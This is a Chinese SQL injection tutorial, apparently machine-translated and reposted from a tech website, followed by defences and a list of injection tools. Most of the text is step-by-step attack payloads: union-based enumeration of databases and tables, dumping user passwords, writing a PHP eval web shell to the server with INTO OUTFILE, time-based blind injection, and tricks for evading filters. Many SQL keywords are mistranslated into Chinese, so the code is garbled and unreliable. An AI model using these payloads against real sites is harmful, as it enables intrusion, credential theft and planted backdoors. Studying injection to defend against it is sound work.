
是建立在计算机存储设备上的仓库,用于根据数据结构组织,存储和管理数据.
专用编程语言是一种查询和编程语言,用于访问数据以及查询,更新和管理系统. 常见的,例如Access,SQL Server,MySQL,Oracle,Sybase,DB2和其他系统.
SQL注入是一项通过操作输入修改后台SQL语句以执行恶意SQL代码以进行攻击的技术.
构造动态字符串是一种编程技术,允许开发人员在操作过程中动态构造SQL语句. 开发人员可以使用动态SQL创建通用灵活的应用程序. 动态SQL语句是在执行期间构造的,它们会根据不同的条件生成不同的SQL语句. 当开发人员需要根据不同的查询条件(例如SELECT语句)决定提取哪些字段或在操作过程中根据不同的条件选择不同的查询表时常见sql注入语句,动态构造SQL语句将非常有用.
PHP中SQL语句字符串的动态构造:
$ query =“选择*来自用户的用户名=”. $ _ GET [“ admin”];
通过控制输入参数admin,修改要执行的SQL语句的逻辑,以达到攻击目的.
常用注射点
在注入点参数中添加单/双引号以查看是否将返回错误消息:
错误: 您的SQL语法有错误;检查与您的MySQL服务器版本相对应的手册以获取正确的语法,以在第1行附近使用'''
和: 两者均为true时为true.
或: 如果两者均为假,则为false.
如果页面未返回任何错误消息,我们可以使用此方法进行推断. 首先,我们在参数后添加和1 = 1和1 = 2,以了解两者之间的区别.

and 1 = 1可以返回数据,而1 = 2不能返回数据,这是因为1 = 1是真实条件,前一个结果是true,true和true,所以没有问题,第二个1 = 2是一个错误条件,为true和false或false,因此不会返回任何数据.
首先将参数更改为大数或负数. 为了使其无法查询数据,我们添加或1 = 1并成功返回了数据. 这是因为1 = 1为true,无论是否为false,都将返回数据. 当或1 = 2时,因为1 = 2为假,所以前后都为假,最后为假,则不会返回数据.
UNION运算符可以合并两个或多个SELECT语句的查询结果. 基本语法如下:
从table1中选择column1 column2 UNION从table2中选择column1 column2
使用UNION必须满足两个条件:
1. 两个查询返回的列数必须相同
2. 列的两个查询语句返回的数据类型必须相同
The
order by子句可以帮助我们获取列数. //没有错误的最大数目是我们想要的列数.
?id = -1'联合选择1,2,3%23
第一次查询不存在的参数,该参数应返回空;
但是使用UNION查询将输出以下查询;
使用数字占据位置,因此您可以看到的数字就是回声点.

?id ='联合选择1,version(),3%23
?id ='联合选择1,database(),user()%23
?id ='联合选择1,(从information_schema.schemata中选择group_concat(schema_name)),3%23
?id ='联合选择1,(从information_schema.tables中选择group_concat(table_name),其中table_schema ='security'),3%23
?id ='联合选择1,(从information_schema.columns中选择group_concat(column_name),其中table_schema ='security'和table_name ='users'),3%23
?id ='联合选择1,(从用户中选择group_concat(用户名分隔符';')),(从用户中选择group_concat(密码分隔符';'))%23
使用PASSWORD()函数计算哈希密码,具体算法取决于安装的MySQL版本.
选择密码(“管理员”)
您也可以通过解密网站进行解密. 例如CMD5
您需要获取网站的绝对路径. 管理系统有权将文件写入服务器文件系统.
?id = 1'联合选择“ <?php @eval($ _ POST ['cmd']);?>”到输出文件“ D: \\ XXX \\ conn.php”%23
以上是显式注入的一般使用过程. 如果您盲目地更改基本查询语句并使用sleep()函数,则该过程类似于显式注入.
id = 1联合选择1,如果(SUBSTRING(user(),1,4)='root',sleep(5),1),3

IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。
为了防御包括SQL注入在内的攻击,Web应用程序经常使用输入过滤器,这些输入过滤器可以在应用程序代码中或外部实现,例如Web应用程序防火墙和入侵防御系统.
当关键字屏蔽过滤器不明智时,此方法适用. 我们可以更改关键字字符串中字符的大小写以避免过滤,因为不区分大小写的方法用于处理SQL关键字.
通过对我们构造的有效负载中的特殊字符进行编码,然后过滤器将不匹配,$ _ GET函数本身将对括号中的字符串进行URL解码以实现旁路.
Space->%20,“->%22,#->%23,%->%25,'->%27,(->%28,)->%29 ...
//,-,/ * * /,#,-+
通常的输入过滤器是在应用程序外部的代码中实现的. 例如入侵检测系统,这些系统通常是由本地编程语言(例如C ++)开发的,为什么空字节可以工作,因为在本地编程语言中,根据字符串的开头到第一个出现空字的位置该部分确定字符串长度. 因此,空字节有效地终止了字符串. 只需在过滤器阻止的字符串前面提供一个URL编码的空字节,例如:
'联合选择用户名,用户名='admin'的用户的密码-
ascii()-> hex(),bin()
sleep()-> Benchmark()
group_concat()-> concat_ws()
substr()-> mid(),substring()
user()-> @@ user

datadir()-> @@ datadir
输入验证是指验证所有应用程序收到的输入是否合法. 输入验证方法有两种: 白名单验证和黑名单验证
应尽可能使用白名单. 对于无法使用白名单的用户,请使用黑名单提供本地限制.
所有查询语句均使用提供的参数化查询接口. 参数化语句使用参数,而不是将用户输入变量嵌入SQL语句中. 几乎所有当前的系统都提供一个参数化的SQL语句执行接口. 将此接口与预编译语句结合使用可以非常有效地防止SQL注入攻击. 进入的特殊字符('“ <>&*;-等)的转义处理或编码转换. 确认每个数据的类型,例如数字数据必须为数字,并且中的存储字段必须为对应类型为int类型,应严格规定数据长度,以防止在一定程度上执行较长的SQL注入语句;网站每个数据层的编码方式是统一的,建议使用UTF-8编码,并且上限和下限编码可能不一致. 已跳过某些过滤器模型,请使用低特权帐户启动,禁用的危险功能(例如xp_cmd),并禁用危险的存储过程用户权限以使用该原理具有最小特权. 例如,仅向使用只读权限的用户分配查询权限.
sqlmap是一个开源渗透测试工具,可用于自动检测,使用SQL注入漏洞以及获取服务器权限. 它具有强大的检测引擎常见sql注入语句,并具有用于各种类型的的渗透测试的功能选项,包括获取存储在中的数据,访问操作系统文件,甚至通过外部数据连接执行操作系统命令.
Pangolin是一个安全工具,可以帮助渗透测试人员执行SQL注入测试. 它具有友好的图形界面,并支持几乎所有的测试,并且可以通过一系列非常简单的操作来达到最大的攻击测试效果.
Havij是一种自动SQL注入工具,它不仅可以自动挖掘可用的SQL查询,还可以识别后端的类型,用户名和密码哈希以检索数据,转储表和列以及从中提取数据. ,甚至访问基础文件系统并执行系统命令.
超级SQL注入工具(SSQLInjection)是基于HTTP协议自组装程序包的SQL注入工具,支持出现在HTTP协议中任何地方的SQL注入,支持各种类型的SQL注入,并支持HTTPS模式注入. 当前支持Bool类型盲注,错误显示注入,联合注入,并支持Access,MySQL 5及更高版本,SQLServer,Oracle和其他. 使用C#开发,底部使用Socket发送数据包以进行HTTP交互,与C#自己的HttpWebRequest速度提高了2-5倍相比,极大地提高了发送数据包的效率. 支持盲注环境获取世界各国的语言数据,直接杀死各种注入工具,无法在盲注环境中支持中文等多字节编码数据.
Mole是一个开放源代码的自动SQL注入工具,可以绕过IPS / IDS(入侵防御系统/入侵检测系统). 只需提供一个URL和一个可用的关键字,它将能够检测到注入点并使用它. Mo鼠可以使用联合注入技术和基于逻辑查询的注入技术. Mole攻击范围包括SQL Server,MySQL,Postgres和Oracle.
BBQSQL是用Python(盲SQL注入框架)编写的盲注工具,在检测可疑注入漏洞时非常有用. 同时,BBQSQL是一种工具,可让客户自定义参数.
JSQL是用Java开发的轻量级远程服务器注入漏洞测试工具,它是免费,开源和跨平台(Windows,Linux,Mac OS X,Solaris).
sqlsus是一个开源的MySQL注入和接管工具. sqlsus是用perl编写的,并且基于命令行界面. sqlsus可以获取结构,注入自己的SQL语句,从服务器下载文件,爬网网站可写目录,上载和控制后门程序,克隆等.
参考: i春秋半月刊
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/tongxinshuyu/article-237042-1.html
一个让人随便入侵领海领空的国家还谈什么强国